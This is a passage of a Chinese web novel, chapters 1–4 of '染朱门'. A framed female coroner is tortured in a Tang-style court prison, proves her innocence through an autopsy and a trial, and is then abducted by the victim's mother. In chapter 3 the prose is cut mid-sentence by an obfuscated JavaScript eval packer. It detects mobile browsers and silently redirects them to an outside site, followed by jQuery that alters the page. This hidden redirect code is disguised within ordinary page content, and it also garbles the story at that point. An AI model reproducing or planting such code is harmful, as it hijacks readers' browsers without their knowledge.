《染朱门》 1. 牢狱 “民女的确是被冤枉的!有人吗?来人!此案疑点重重,我要见少卿,我有话要同少卿说。” 薛嘉玉身上穿着白色麻布囚服,两只手腕用铁手链拷住,沉重不堪,重得她差点连手都抬不起来,她两手握住冰冷的铁栏杆,将脸贴到那栏杆的缝隙中,不断地向外面张望。 大约是她从进来就一直嚷嚷着自己要见少卿,狱卒终究是难以忍受,无奈走到铁门前,他左手握住别在腰间那把长剑的剑柄,面露嫌恶之色,“把你嘴巴给我闭上!这可是大理寺,不容你在这里瞎嚷嚷!再者,王家大郎王诗被杀一案,人证凶器俱全,你还有什么好狡辩的?我劝你啊还是早点认罪伏法,说不定还能让你死得轻松点。” 说罢,那狱卒转身而去,根本不给她留半点说话的机会。 薛嘉玉两只手从铁栏杆上滑落,她转过身去,面对着那阴暗潮湿的牢房,墙面肮脏不堪,右面的墙上还挂着各式各样的刑具,地上只铺着些许干燥扎人的干草,她知道那是给囚犯睡觉的地方。 细细一嗅,这里还充斥着腐烂和血液的味道,实在是令人作呕。 她两腿盘坐在地上,透过狭小的铁窗,直视那簇聚在一起的亮光,薛嘉玉的思绪忽然回到先前在公堂上那一幕,她甚是疑惑那些给她“定罪”的证物都是从何而来。 突然之间,传来一道悉悉索索的开锁声,她瞬间回过神来。回眸一看,却见那开门之人正是先前在堂上添油加醋的严司直。 薛嘉玉黛眉一凛,心中蓦地生出一种不好的预感,她下意识往后退,但牢房毕竟只是一方寸之地,她的身后已经没有退路了。 她两手背到身后,掌心贴墙,手心已然冒出一层层薄汗。 “你想做什么?” 只瞧那严司直竟从身后拿出一根长长的鞭子,他两手握住鞭子,用力地拉了拉,凶神恶煞地看着面前手无寸铁的小娘子。 严司直迈着步子缓缓向她走来,他一字一顿道:“当然是来劝小娘子坦白从宽。” 薛嘉玉盯着他手里那根鞭子,心中不免生出一股恶寒,她倒吸了一口冷气,面上依旧冷静自若:“严司直,我朝律法规定大理寺司直虽兼任狱丞,统管大理寺监狱,然若未有少卿或大理寺卿的首肯,则无权对囚犯严刑逼供。这事儿若要捅到少卿那里,对司直也是百害而无一利啊。” 严司直扬起嘴角,嗤笑一声,用他那粗糙的手狠狠掐住薛嘉玉的脸颊,“薛氏,说话可不能说得如此难听啊。如今证据齐全,你那邻居也亲眼看见你用那把剑狠狠地刺进了王诗胸口,我来严刑逼供,不也是在为裴少卿分忧嘛。你若再不招,那可就别怪我这条鞭子无眼了!” 即便她面上装得再无波澜,但她下意识紧贴墙角的动作还是出卖了她内心的惴惴不安。 薛嘉玉冷冷地开口:“我既没杀人,有何好招?我若招了,会被赐白绫;若拼死不招,顶多就在这牢中被打个半死不活。是死还是活,民女还是拎得清的。” 那严司直自诩阅人无数,还以为像这样的小娘子唬一唬,便会哭得梨花带雨地开始招认。 没想到这小娘子竟然是个硬骨头。 可就算是如磐石那般坚硬,来了这大理寺的监狱,都会如那地上的干草一般脆弱易折。 只见,严司直扬起右手,旋即那根鞭子就重重地落在了她的手臂上,紧接着那刚被打过的地方就开始渗出丝丝血迹,将那白衣瞬间染红。 薛嘉玉疼得用牙齿咬住自己的嘴唇,额头上已然冒出一层一层的汗滴,她依旧默不作声地受着。 严司直手里的鞭子就没有停歇过,非要等到她俯首认罪。 “薛氏,你还是不肯招吗?若是还不肯招,可就别怪我把你这一身白衣全都染红了!” 薛嘉玉低头看着身上那一大片血迹,她此刻因失血过多,嘴唇泛白,脸上毫无血色,说她是一条孤魂野鬼都不为过。 她低喘着气,费力地抬起头来,仍旧是那副不卑不亢的模样。 “与其担心我招不招,司直不妨担忧自己的乌纱帽,究竟是官职重要,还是那个人给你开得条件更重要。” 此话刚落,她瞧见严司直的瞳孔猛地一震,就知她方才猜对了。 严司直用那根鞭子狠狠甩在她身上的伤口,疼得她冷汗直冒,一滴滴汗珠顺着脸颊滑落,刺痛了那些被打得皮开肉绽的伤痕。 “薛氏,你都是将死之人了,与其担心我,不妨担心担心自己。” 说着,他便挥起手里的长鞭,正欲鞭打薛嘉玉的大腿。 一个银色飞镖以极快的速度径直朝着她的方向飞来! 只见那飞镖迅速穿过严司直手里的鞭子,鞭子“咔擦”一声断成了两节,可那飞镖还在沿着轨道飞行,那方向是冲着她的! 她的瞳孔猛地睁大,脸上尽显惊恐之色,接着那飞镖与她的距离越来越近,薛嘉玉吓得连忙紧闭双眼,下意识往旁边一躲! 飞镖擦过她的太阳穴,之间尚且只有一个指甲盖的距离,继而“砰”的一声撞在坚硬的墙上,掉在了她的脚边。 严司直吓得两手一抖,手里攥着的鞭子瞬间落在地上。 薛嘉玉低头看了眼那飞镖,气息尚有些紊乱,还未缓过来。 她猛地抬起头来,往门外一看,恰与那人四目相对,他那双幽深的眸子中寒意四射,浑身上下散发出上位者的气息。 他一袭青衣,身后跟着位身着玄色衣裳的侍卫,只瞧这男子敛着一双剑眉,面若冰霜,当有一副狄公模样。 听闻大理寺新上任了一位年少有为的少卿,才刚及弱冠不久就已官居四品,而且断案秉公执法,在定罪时也会讲究法理情。 不过也有人道,这位少卿来路不小,平日都是锦衣玉食,尤其爱在那东市的酒楼与友人把酒言欢,恐是来自世家大族。 若真如百姓传言那样清正,想必想要洗脱嫌疑并非如登天那般困难。 严司直仓皇间转过身行礼,“见过裴少卿,不知少卿怎的来这儿了?” 裴砚两手背在身后,身材颀长,迈着步子缓缓走来,他冷眸微眯,看地上跪着的严司直如同看蝼蚁一般,“严司直,是谁给你的胆子,敢在我的牢狱动用私刑?” 薛嘉玉知道这是个天赐良机,她抬起右手指着前方的严司直,痛哭流涕道:“少卿,民女是冤枉的!大理寺尚未定罪,这严司直就开始对民女严刑拷打,想要屈打成招。本以为严司直是受了少卿的命令,不曾想竟是滥用职权、阳奉阴违!” 严司直被她气得牙痒痒,但当务之急是要安抚好裴砚,他继续维持着行礼的姿势,“回大人,这人证物证俱全,可薛氏死活不招,甚至还想申冤,普天之下哪有这般道理?传出去都怕坏了大理寺名声。” 裴砚漫不经心地抬了抬手,示意他平身,他的视线越过严司直,停留在了那靠在墙边的小娘子,白色囚服被鲜血染得通红,触目惊心。 他偏头吩咐侍卫金羽,“去太医署请位太医过来。” “是。”随后,金羽便马不停蹄赶往太医署。 裴砚双手环抱在胸前,好整以暇地打量了严司直一番,言简意赅地吩咐:“出去。” 见他不再深究,严司直连忙赔笑,“是是是!” 待那严司直离开后,牢房里便只剩下他们二人,薛嘉玉忍着剧痛扑通一声跪在地上,伤口再度冒出汩汩鲜血,她挺直腰板,冲他行了一叉手礼,“少卿,民女是被凶犯当做挡箭牌了。可否听民女细细道来?” 裴砚瞧面前这位小娘子身负重伤,面色惨白,但却毫不灰心丧气,反倒为自己陈情,他倒觉得这薛娘子是个有韧劲的。 “你起来说吧。” 此话乃是她不曾料到的,原以为大理寺的官员个个都视囚犯如草芥,不曾想竟也有体恤囚犯的少卿,薛嘉玉看向他的目光中又多了一分好奇。 裴砚见她迟迟未站起身来,甚至还瞧了他一眼,便以为她是因腿上的伤痕,无法靠自己站起来。 此案尚未结案,裴砚自然不能让疑犯在大理寺出什么差池,无奈之下,只好伸出一只手去扶她。 薛嘉玉下意识将自己手上的血迹往衣服上抹了抹,但有的血迹已然风干,无论如何也擦不掉。 她一边靠自己艰难地站起来,一边局促地笑了声,“多谢少卿好意,只是我这双手沾满了血迹,怕脏了大 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她猛地一点头,“没错,这件事情做得几乎滴水不漏,想必凶犯早早就计划好了。” 好歹现在人证物证俱在,不论是真是假,裴砚都不可能不管不顾那些证据,就随便听信薛嘉玉的话重新假设案情,因此也并未全信她的话,旋即他问了一个很关键的问题—— “可又有谁能够这么费尽心机害你和王诗?” 是啊,谁会这么费尽心思、冒着风险害他们呢? 薛嘉玉目前也没有想通,不过她忽地想起了一个被二人遗漏的点,“大人,香气!当时我一靠近他,就闻到了一股很独特的香味,不像是市面上那几款寻常的香味。兴许致使民女昏昏欲睡的就是那香味呢?” “那为何王诗闻了那么久都还未昏昏欲睡呢?而且照你所说,他喝了那么多酒,不该比你更快产生反应吗?” 话刚一落地,金羽就把太医带过来了,“闻太医,快帮她上上药。” 闻太医素来有一别名,叫“大理寺专用太医”,因为来的次数过于频繁,他已经对这些被酷刑折磨得不成人样的囚犯司空见惯了。 他将衣袖和裤腿全都卷上去,看见那一条条触目惊心的伤痕,又抬眼看了眼面前这位一直咬牙忍痛的小娘子,还是不免心痛。 许是因为裴砚用刑更加阴狠毒辣,因而瞧见这些在旁人看来触目惊心的伤痕时,心中未有一丝波澜。 闻太医一边将那金疮药小心翼翼地涂在她的伤口上,一边语重心长地说:“小娘子,疼的话就吭一声吧。” 薛嘉玉无力地笑了下,“无碍,多谢太医。” 随即,她将视线投到一旁默不作声的裴砚身上,“裴少卿,民女刚才所言皆句句属实,绝无虚言。” 裴砚则出奇地走到她的身边蹲下,这下离得近了些,他方才留意到薛嘉玉的样貌,她生了一双桃花眼,可眸中不见温情,只见冷意,而且脸颊瘦削,嘴唇干裂,与长安的贵女们相比属实算不上好看。 他掀了掀眼皮,看向她的眼神中虽凉薄多一点,但是又与其他狱卒不同,没有嫌恶。 “薛娘子,你刚才所说未有半点证据可支撑,你让我拿什么相信你?” 这话倒是不假,若要让他相信自己并非真凶,还得再挖出点有利于自己的证据。 她敛了敛眉,眼珠子骨碌一转,心中登时有了个好主意。 “裴少卿,仵作可否进行过尸检了?” 裴砚对她问出这个问题感到有些惊奇,“尚未。” 既然如此,那她便可主动进行尸检,若是能在尸体上发现什么新线索,兴许就能摆脱嫌疑。 “少卿,实不相瞒,民女乃是一民间仵作,若是少卿能准许民女验尸,兴许就能从死者那里发现有利民女洗刷冤屈的线索,若是少卿不信任民女,可再请大理寺仵作进行勘验,若是结论并无二致,则可说明民女并非凶犯,毕竟没有哪个凶犯会如此努力寻找证明自己的证据。” 听到“仵作”二字的时候,裴砚眼底不禁掀起一阵波澜,“你一小娘子竟还会验尸?” 2. 迷香 薛嘉玉已然不是第一次受到这种质疑了,她扬起一抹凄惨的笑容,“民女的父亲从前就是仵作,自小便耳濡目染,长大了便也承袭了这份手艺。只是碍于女子不可为官,便只能做一民间仵作。” 裴砚不语,只是盯着她,薛嘉玉察觉到他一直看着自己,目光如炬,一时心中忐忑不安,正当她想开口询问他是否同意自己的提议,闻太医便率先打破了寂静。 闻太医将那瓶金疮药递到她的眼前,用手捋了捋花白的胡子,“小娘子,平时可要留意一点,莫要挤压到伤口了,这金疮药一日三次,伤口不日便能结痂。” 她双手接过那个通体银白的药瓶,“是,多谢太医。” “此乃医者本分,小娘子不必道谢。” 闻太医在金羽的搀扶下站起来,用手拍了拍裙摆上沾染的灰尘,“对了,方才过来的时候听见小娘子说闻到了一股独特的香味,随后便觉得昏昏欲睡。据老夫所知,医书上曾记载了一种名为冬黎子的花,□□矮小,花瓣呈月牙状,为淡紫色。花香沁人心脾,但若长时间吸入花香,便会感到昏昏欲睡。此花在前朝曾被磨成齑粉,用于口服,目的是为了麻痹病人神智,以便医者医治。据闻,郊外的斜阳山上便生长着这样的花,但相对罕见。” 倘若薛嘉玉没有欺瞒,那么这香气便是一断案关键,裴砚连忙吩咐金羽前去斜阳山寻找这冬黎子。 随后,他站起身来,单手叉腰,“随我来。” 薛嘉玉不由得松了口气,连忙从地上爬起来,快步跟在他的身后。 二人穿过重重昏暗狭长的走廊,最终停在了一扇被上了锁的铁门前,门的两边守着两位狱卒,裴砚从宽大的袖子里拿出一把金色钥匙,插入锁孔,接着推开这扇门,一股让人腥臭难闻的味道瞬间涌进鼻腔。 裴砚连忙用丝绸手帕捂住鼻子,回头看向身后那个根本不需要掩鼻的小娘子,“薛娘子,请吧。” 这里仵作验尸工具一应俱全,甚至还有一些她没有见过的小工具,这样倒是显得她家里那些工具实属过于老掉牙了。 她伸手揭开盖在死者身上的白布,先是用手指掰开王诗的上眼皮,查看瞳孔状态,瞳孔呈放大状,恐是死前遭遇了什么令他十分惊讶或害怕的事情。 接着便开始检查死者除了左胸那道致命伤以外还有无其他伤口。 就当她的视线下滑到死者脖子处的时候,发现他的皮肤上竟然有两条相当可疑的红色横线,不过瞧着并非是利器所伤,而是一种印记。 薛嘉玉的心脏猛地一颤,她的脑海里顿时浮现出了十三年前家人被屠一案。 那年她尚未及始龀,那夜不过刚至丑时,寂静的宅子中忽然有一行训练有素的杀手撕破黑夜,大刀阔斧地在天子脚下杀进薛家。 察觉外面有异,乳娘着急地连外衣都来不及裹,便立刻将仍在床上睡得酣甜的薛嘉玉给抱了起来,年幼的她尚且不知道接下来会发生什么。 她用细嫩的小手揉了揉眼睛,“唔……乳娘,你这是要带我去哪儿呀?” “珺瑶乖,千万别出声。” 乳娘打开窗子,瞧见外面尚且没人,便以迅雷不及掩耳之势翻了出去,她急得如同热锅上的蚂蚁,思考着往哪里跑,而薛嘉玉却越过乳娘的肩头,亲眼看见了地上母亲的尸体,母亲的脖子上也有两道横线,她吓得只匆匆看了一眼,便连忙收回眼神,紧紧闭上眼睛,不敢再看。 此时,一阵接一阵凄惨的哀嚎声笼罩了这座宅子,放眼望去,地上全是被一剑毙命的家人,地面被血水染红,活似一人间炼狱。 她躲在冰冷的井水中,两只娇嫩的小手紧紧攥着救命的麻绳,手心已被磨得通红,甚至都渗出丝丝血迹,薛嘉玉的身上裹着乳娘仅剩的衣物,乳娘已然冻死。 从这一刻起,她便若浮水之萍一般。 裴砚见她迟迟都未进行下一步,愣在原地,眸中由不得划过一丝狐疑,迈步走到她的身旁,意图去看她究竟是瞧见了什么,竟能引得她如此分心。 “薛娘子,为何不继续了?可是发现了什么怪异之处?” 听见裴砚的呼唤后,薛嘉玉方才察觉自己走神了,眼眶也因那段回忆变得猩红,又顾及到这里尚有外人在场,她强行忍着眼泪,假装无事发生。 殊不知,裴砚早就留意到她的眼尾染上了一分红晕,他心中只觉甚是奇怪,经历了严刑拷打尚不见她哭泣,可此刻又不知她究竟是想到了什么竟能转瞬间变得如此难过。 薛嘉玉深吸了一口气,将那一段段充满杀戮与无情的回忆全都抛之脑后,她用手指着王诗脖子上那两道奇怪的印记,“少卿请看。” 裴砚顺着她指的方向看过去,两道红色印记,既不似划痕,亦不似有人故意画上去的。 他一手用手帕捂住鼻子,一手探上前,用手指摸了摸那印记,方知这印记乃是从内渗透皮肤,“这是······毒?” 她微微颔首,从一布包里抽出一根银针,刚将那根银针深入伤口,银针便立刻发黑。 薛嘉玉小心将银针从伤口的位置抽出,将此银针双手奉上,恭敬回答: “回少卿,死者的致命伤乃为左胸的那道贯穿伤,伤口呈狭长线型。除此之外,就是死者脖颈处那两道奇怪的横线,兴许就是毒药反应。最后,根据死者的瞳孔反应来看,死者死前应当经历了巨大的惊吓。依民女看,凶犯乃是蓄谋已久,与王诗有着不共戴天之仇,否则怎会用一把淬了毒的剑?显然是必须让王诗当场死亡。” 裴砚对验尸一事不甚了解,便叫门口的狱卒去唤林仵作过来。 “没想到薛——” 他话尚且没说完,便被薛嘉玉的惊呼声给打断了。 “何事?” 薛嘉玉这才发现王诗腰间系着的那香囊不见了,“少卿,你看,香囊不见了。若非这香囊有什么问题,为何会突然消失不见?” 只见裴砚将视线投到她的脸上来,漫不经心地勾了勾唇角,嗓音一扫先前的冷漠薄情,取而代之的如春风般的和煦温柔,“不曾想薛娘子竟是位观察敏锐的女仵作,倒真是让人眼前一亮。” 交谈间,林仵作已经在狱卒的带领下风尘仆仆地赶来了,他躬身行礼,“裴少卿,验尸一事不是应当在公堂之上当众查验吗?” 裴砚冲他招了招手,面上再度恢复了副公事公办的态度,“无碍,你先来查验一番,以证这位小娘子的清白。随后再与我一同到那公堂之上,当着众人再查验一番。” 林炎用袖子擦了擦额角的汗水,他不敢驳了这位少卿的面子,连忙拿起工具进行查验。 他不愧是大理寺里的仵作,三两下便将死者全身上下的疑点都给剖了个一干二净,林炎对着裴砚行了一叉手礼,“回少卿,死者是被利器所害,且凶器上淬了剧毒,而且死者在被杀害的那一刻受到了极强的惊惧反应。” 听了林炎这么一番话,薛嘉玉那颗七上八下了一整天的心脏总算是可以落地了,她长长地舒了口气,用手轻轻拍了拍胸口。 她的嘴角终于扬起一抹轻松的笑容,双眼不再黯淡无光,“少卿,如今我可算洗脱嫌疑了?” 然而这裴砚实属不解风情,还未等她多松口气,便朝她当头泼了一盆冷水,“你还须上公堂接受审问,只有让众人都觉得这案子还有别的疑点,你方能撇清嫌疑,否则本官依旧会把你当做疑犯,继续关押在这牢狱之中。” 也是,都怪她欢喜过了头,竟一时忘了还有对簿公堂这件事情,大理寺开堂审问,除了少卿以外,还有寺丞、寺正等人在场旁听,而且大理寺一向还会请部分百姓来公堂一同陪同审理。 看来,她尚且还不能松懈。 只听裴砚吩咐狱卒去大理寺 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雁萍跪在地上,垂着脑袋,可王夫人则是偏过头来死死地盯着她,她咬牙切齿地说: “人证物证俱全,你究竟还有什么好狡辩的?” 薛嘉玉默不作声地收回眼神,正视前方,裴砚身着红色圆领袍衫,两腿岔开坐在案牍前,寺正与寺丞则分别坐在一左一右,三人皆是神情严肃。 裴砚抬起双眸,一边朝着候在一旁的林炎招了招手,一边面若冰霜地说着:“之所以进行复审,乃是因为仵作在死者身上发现了一疑点。” 林炎向三位审理官员行了行礼,身后跟着两位抬尸体的小吏。 小吏将用竹子制成的担架放在地上,林炎顾及王夫人的心情,便背对着她将白布揭开,“回少卿、寺正、寺丞,我在验尸的时候发现死者的脖子处有两道细小的红痕,此痕迹并非是刀剑一类造成,而是毒。也就是说那把剑淬了毒,经我化验,我发现此毒乃是制作复杂的鬼仙蛊,为液体,效果堪比见血封喉。” 听见“毒”这个关键字后,王夫人痛哭流涕,两手疯狂地拍打着地面,“你这个小娘子看着还挺善良的,为何竟有这般蛇蝎心肠啊?我儿究竟怎么得罪你了?男子喝醉做出点不着调的事情很正常,你打他骂他也就算了,何必要他的命呢?” 裴砚急忙拍了拍桌子,打断王夫人的痛斥声,他朝林炎使了个眼色,示意他别管王夫人,继续说。 林炎从袖子中掏出一个小盒子,那里面装着一个黑色的小丸子,看起来十分软糯,“大人们请看,这乃是用鬼仙蛊制成的鬼仙丸,仅在黑市流通,一颗便要将近三千两银钱,价格不菲。鬼仙蛊因是液体,不易发觉,因而价格只会更加昂贵。当然,这鬼仙蛊是用多种草药制成,若是制药技艺娴熟,也可自制。” 薛嘉玉适时插上话,冲着面前三位行了一叉手礼,“若按仵作所言,那民女定不会是凶手,因为——” 她的话戛然而止,取而代之的是王夫人那可穿破苍穹的哭喊声。 刚经历丧子之痛,王夫人忧心如焚,就连头发都白了许多,她右手攥着手帕,捶了一下自己的胸膛,双唇不断地颤抖着,“儿啊,你快睁眼瞧瞧面前这个杀人凶手,将你杀了还不肯承认,普天之下哪有这样的不公啊!儿啊!你死得好惨呐!我这个做娘的也是没用,竟连凶手都无法绳之以法!” 此话刚落,薛嘉玉的耳畔便响起了外面百姓们的议论声,他们七嘴八舌,众说纷纭,有说薛嘉玉恬不知耻的,也有哀叹王诗黄泉之下都不得安息的。 薛嘉玉不急不恼,反倒是有意思地勾了勾唇角,她饶有兴味地瞪着伏在地上痛哭的王夫人,不疾不徐道: “王夫人是觉得我一孤女能掏出三千两去买鬼仙蛊,还是觉得我能有那般娴熟的技艺,在家自制鬼仙蛊?” 3. 公堂 王夫人用手指着薛嘉玉的鼻尖,目眦欲裂,似乎是恨不得现在就把她送到地府里去给她的儿子陪葬一样,只听她尖着嗓子咒骂:“你堂堂一个仵作,怎会不识毒药?又怎会不懂草药?这鬼仙蛊怕就是你做的。” 她的双眸顿时变得幽深晦暗,抬眸看向前方正襟危坐的裴砚,“民女若真识草药,懂毒理,早在裴大人面前自证清白时,就提出那凶器上淬的毒便是在黑市也难求的鬼仙蛊。” 这时,王夫人面目狰狞,气得脖子涨红,冲着面前的三位听审大人磕了磕头,额头在与地面的强烈碰撞中发出了“砰砰砰”的声音,她扯着嗓子哭诉:“大人莫要被这娘子的话给蛊惑了啊!她一向巧舌如簧、惺惺作态,否则我家大郎也不会被她迷得鬼迷心窍,最终断送了自己的生命啊!” 裴砚无声地对一旁的狱卒招了招手,示意他们把王夫人拉起来。 薛嘉玉早已对王夫人的胡搅蛮缠司空见惯,她甚至连个眼神都不愿施舍给在地上叩头的王夫人,她的语调依旧沉稳冷静:“少卿,若民女真是凶犯,那么当时验尸时为何要向您隐瞒鬼仙蛊?有了这么一个漏洞,那大理寺给民女定罪岂非更加轻而易举?因此,单凭这一点看,民女就绝不会是凶犯。” 裴砚与另外两位寺正、寺丞都认为她所说得并非毫无道理,既然是证明自己的清白,那么就不可能专门留下一个随时可能被用来定罪的漏洞。 瞧见三位大人的态度有所松动,一直沉默不语的雁萍娓娓道来,“回少卿,薛娘子的邻居目睹了王诗纠缠她的情景,也瞧见了薛娘子一直在不断反抗,指不定就是在反抗当中误杀了他呢?至于那把剑,民女想女子出门带一个可防身的东西也尚在情理之中。” 他听后没有说话,而是将目光投到前方神色清冷的薛嘉玉身上,似乎是想听听她会如何回答。 薛嘉玉没有着急解释,而是慢悠悠地反问:“请问这位雁萍姑娘,我为何要因为王诗纠缠了我几下,我就得要害死他?” 雁萍第一次来大理寺这种地方,难免有些害怕,她结结巴巴地说:“这世道女子最看重清白,若没了清白,不仅会被人指指点点,以后还会找不到好的夫家,要么一生漂泊无依,要么就只能嫁给一个家世低微的男子。” 听闻此言,她竟然忍不住嗤笑一声,这一奇怪的行为引得众人好奇。 她的嘴角扬起一抹嘲讽的笑容,将眉毛压低了几分,眸光暗沉,“于民女而言,清白从不是女子的立身之本。再者,对我纠缠不休的人分明是王诗,凭何让我被百姓指指点点?女子活在这世间的意义从不是学妇德,学六艺,就为了及笄以后嫁给一个好的夫家。女子也应当像男子那般去考取功名,下海经商,做一切自己想做之事。因此,民女绝不会因为王诗纠缠我,而对他痛下杀手。” 坐在高位的裴砚眸光微闪,目光中掺杂了几分探究。 王夫人被世道驯服得完全没有抵抗能力,甚至觉得薛嘉玉刚才那些话简直就是一派胡言,“这世上哪有一辈子都不嫁人的女子?再者,考取功名、下海经商是女子应该做的事情吗?女子怎么可能斗得过男子?就算你说自己不会因为这件事痛下杀手,那你倒是说说除了你以外,还有谁会对大郎下手?” 她歪着脑袋,饶有兴趣地盯着王夫人,一字一顿,掷地有声,“当然是您啊,王夫人。” 王夫人的眉头陡然一皱,声音不禁又拔高了几个度,“薛氏,我看你是疯了吧?” 一旁的寺正听见这句话,也霎时间懵了,“薛娘子,王夫人可是死者的娘,虎毒尚不食子,王夫人怎可能害死他?我们知晓你急于撇清嫌疑,但也不可乱说话呀。” 薛嘉玉冲着沉默寡言的裴砚行了一叉手礼,“回少卿,方才在牢狱中对民女严刑逼供的严司直乃是受到他人贿赂,且王夫人一直咬死民女就是凶手,若真是为自己儿子担忧,难道不应该是积极配合大理寺查案,等一个水落石出吗?王夫人尚且未亲眼目睹民女行凶,凭何因可随意捏造的物证就断定我是凶手?” 裴砚的眸中划过一丝狐疑,他不动声色地把目光挪到王夫人和雁萍身上,“王夫人,上堂之前,我曾托侍卫去查验了一番,得知你并未有远房侄女,只有寥寥几个侄子。所以,这位雁萍姑娘究竟是你的什么人?” 王夫人未曾料到这位新上任的少卿竟会去查她的事情,她慌乱间将两手撑在地面,抬头直视裴砚,“回大人,雁萍乃是我一好友之女,幼时双亲去世,便被一户人家抱养,我也是费了好大的力才找回雁萍的,对她视如己出,对外便称她是我的远房侄女。所以裴大人查不到我有远房侄女一事也是合乎情理的。” 她还不忘在一旁添把柴火,语气中夹杂着一丝可笑,“对外声称雁萍姑娘是你的侄女?那为何民女在西市住了这么多年,都未曾从谁人口中听说王夫人有一侄女?王夫人,这可是大理寺公堂,莫要撒谎才是。” 王夫人偷偷捏紧双拳,指甲仿佛都要将那掌心掐出血来,她紧紧咬着后槽牙,“大人,民妇绝无半句虚言!” 剩下的时间里便是裴砚同寺正、寺丞一同商议此审最终结果。 薛嘉玉用手理了理衣袖,目光根本没放在王夫人身上,“王夫人这么做,不怕遭报应吗?” 王夫人藏住内心的惴惴不安,“你这般污蔑我,却又拿不出半点证据,也定不了我的罪。” “我确实拿不出证据,但大理寺可就未必了。”她冷冷地掀起眼皮,目光犀利,如一把把冷冽的寒刀,“而且我记得黑市的东西都不是光靠有钱就可以买到的吧?尤其是像鬼仙蛊这种剧毒。” 此话刚落,三位大人便已商议出了最终结果。 王夫人用衣袖擦了擦额头上骤然冒出的汗水,连忙跪好。 裴砚站在中央,两手背在身后,身姿挺拔如松,他垂眸看着跪在地上的三人,“因证据存疑,故释放薛氏。针对物证,大理寺会进行深入勘察,定会还百姓一个真相,让死者在九泉之下方可安息。” 待王夫人和雁萍两两搀扶着离开公堂后,裴砚神神秘秘地将她带到自己办公的地方。 她尚未来得及询问,就见金羽抱着一个木盒子迎了上来,他打开盒子,里面放着的赫然是冬黎子。 不用裴砚吩咐,金羽便知他心中所想,“薛娘子,你闻闻,看是否是那个香味?” 深知此花作用,薛嘉玉仅短暂嗅了一下,她不可置否地颔了颔首,“没错,就是此花。” 裴砚坐在椅子上,两手自然搭在膝盖上,吩咐金羽:“将此花收好,再去向那些斜阳山附近的人家询问一下此花。” “是。”说着,金羽便将盒子关好。 “等等!” 她大步向前,面上赔着笑容,“大人,这花可否分我一点?我今日瞧那王夫人看我的眼神,恨不得直接把我掐死,送给王诗陪葬,况且先前我又在堂上堵了她的话。若是王夫人欲报复我,我亦有防身之物啊。” 裴砚深知此人留着还有作用,便也同意了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021517|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “金羽,分一半给她。” 金羽打开木盒子,盯着只有一朵的冬黎子,陷入了沉思,“大人,只有一朵冬黎子。” 只见薛嘉玉摆了摆手,嫣然一笑,“给我几朵花瓣即可。” 无奈之下,金羽只好将呈堂证物摘了三朵花瓣,放进一个密封性强的小木匣子里,“薛娘子,请拿好。” 她双手接过木匣子,因身上还穿着带血的囚服,只好先将其揣进了袖子里,见裴砚找她已无旁事,便偷偷迈着步子跑了。 刚至自家门前,正欲开门进去,她的口鼻便被一张带有迷香的手帕给捂住了,迷香药性强大,薛嘉玉尚未瞧见那人的长相,便已倒地昏睡过去。 再一醒来,已是深夜。 薛嘉玉缓缓掀开沉重的眼皮,发现自己正侧躺在地上,她警惕地环顾了一下四周,此处是一座破落荒凉的寺庙,红墙金瓦,杂草丛生,旁边还供着断了手的观世音菩萨,阴风阵阵,寒风刺骨,顿觉毛骨悚然。 尚未来得及继续探查,一阵愈加清晰的脚步声落在了她的耳畔。 她还没有摸清绑架自己的那个人是什么身份,况且也不知道这究竟是何处,不敢轻举妄动,只偷偷将袖中那木匣子打开,单手捂住鼻子,接着合上双眼,继续装晕。 脚步声逐渐放大,薛嘉玉这才发现来的人不止一个。 在未知恐惧的包裹之下,她的心脏猛烈地颤动着,五感被无限放大。 紧接着,她感知到有一个人蹲在了自己面前,少顷,薛嘉玉察觉到有一种冰冰凉凉的东西贴在了自己的脸颊上。 倘若她猜得没错的话,这东西当是一把利刃。 只听一个男人语气中带着威胁,“王夫人,可别忘了你与少爷的约定,若你敢说漏半点,你们两个的命都别想要了。” 王夫人勾唇一笑,“放心,我知道。” 由于王夫人的声音更加清晰可闻,因此薛嘉玉猜测面前这个拿着刀的人便是王夫人了。 那男人接着道:“这个女人你处理得干净点,莫要留下什么蛛丝马迹,否则谁也保不了你。” 王夫人像是疯魔了似的,她用冰冷刺骨的匕首拍了拍薛嘉玉的脸颊,“放心,一个黄毛丫头而已,尚且还不是我的对手。” 随后,那男人的脚步声渐行渐远,直至消失在了黑夜里。 此刻,薛嘉玉猛地睁开眼睛,眼疾手快地用单手死死扣住王夫人攥着匕首的那只手腕,她目光如剑,饶有兴趣地勾了勾唇,“王夫人,害死了自己儿子不够,还想要害死我?” 她听后竟荒谬一笑,“大郎何曾成了我杀的?明明是你害死了他,现如今你也要畏罪自杀!” “你做梦!”只见她握住王夫人的手腕,狠狠向下用力,便直接将王夫人的手臂给掰折了,疼得王夫人连忙服软认错。 薛嘉玉略微松了松力度,那王夫人便揪住了可乘之机,想要反守为攻,却觉得脑袋昏昏沉沉,浑身使不上力气。 她蹙了蹙眉头,“你做了什么?” 只见薛嘉玉将那朵冬黎子从地上捡起来,一把扔在了王夫人的身上,“冬黎子,王夫人可还熟悉?” 王夫人低头瞧着落在怀里的花,瞳孔陡然一震,尚未来得及询问这花是从哪儿弄来的,喉咙便被薛嘉玉单手掐住。 薛嘉玉昂着头,垂眸直视着毫无反抗之力的王夫人,手上的力度再次紧了紧,眸中尽含轻蔑之色,“王夫人莫不是以为我方才松手是因为我心软了吧?” 4. 草药 王夫人现如今处于弱势位,先前那股盛气凌人的模样瞬间烟消云散,她的眸中闪过一丝慌乱,但依旧在尽力平复。 “所以你是想要在这里直接掐死我吗?你就不怕这样做更会落人口实吗?” 薛嘉玉自然不打算在这里就这样杀害了她,她的罪自有大理寺来定,但前提是她得要把王夫人给推到公堂之上。 由于冬黎子的花香,薛嘉玉已经感觉到自己的力气被抽走了几分,箍住王夫人脖颈的手也松了松,“我问你,你为什么要害死王诗?又为何要嫁祸于我?” 只听王夫人轻哼一声,随即轻蔑似的扬起一抹笑容,“我凭何告知与你?” 